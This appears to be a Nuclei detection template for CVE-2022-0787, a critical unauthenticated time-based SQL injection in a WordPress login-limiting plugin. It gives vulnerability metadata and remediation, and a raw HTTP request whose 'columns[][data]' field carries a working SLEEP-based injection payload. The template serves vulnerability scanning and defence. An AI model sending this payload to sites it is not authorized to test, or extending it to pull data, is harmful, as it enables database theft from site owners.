Limit Login Attempts (Spam Protection) < 5.1 - SQL Injection

id: CVE-2022-0787

info:
  name: Limit Login Attempts (Spam Protection) < 5.1 - SQL Injection
  author: theamanrawat
  severity: critical
  description: |
    The Limit Login Attempts (Spam Protection) WordPress plugin before 5.1 does not sanitise and escape some parameters before using them in SQL statements via AJAX actions (available to unauthenticated users), leading to SQL Injections.
  impact: |
    Unauthenticated attackers can execute time-based blind SQL injection via AJAX actions to extract database contents, potentially exposing WordPress user credentials and login attempt data.
  remediation: Fixed in version 5.1
  reference:
    - https://wpscan.com/vulnerability/69329a8a-2cbe-4f99-a367-b152bd85b3dd
    - https://wordpress.org/plugins/wp-limit-failed-login-attempts/
    - https://nvd.nist.gov/vuln/detail/CVE-2022-0787
    - https://github.com/cyllective/CVEs
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2022-0787
    cwe-id: CWE-89
    epss-score: 0.07518
    epss-percentile: 0.94545
    cpe: cpe:2.3:a:limit_login_attempts_project:limit_login_attempts:*:*:*:*:*:wordpress:*:*
  metadata:
    verified: true
    max-request: 1
    vendor: limit_login_attempts_project
    product: limit_login_attempts
    framework: wordpress
  tags: time-based-sqli,cve,cve2022,wpscan,sqli,wordpress,wp-plugin,wp,wp-limit-failed-login-attempts,limit_login_attempts_project,vuln

http:
  - raw:
      - |
        @timeout: 15s
        POST /wp-admin/admin-ajax.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        action=WPLFLA_get_log_data&order[][column]=0&columns[][data]=(SELECT+7382+FROM+(SELECT(SLEEP(6)))ameU)

    matchers:
      - type: dsl
        dsl:
          - duration>=6
          - status_code == 200
          - contains(header, "text/html")
          - contains(body, 'iTotalDisplayRecords')
        condition: and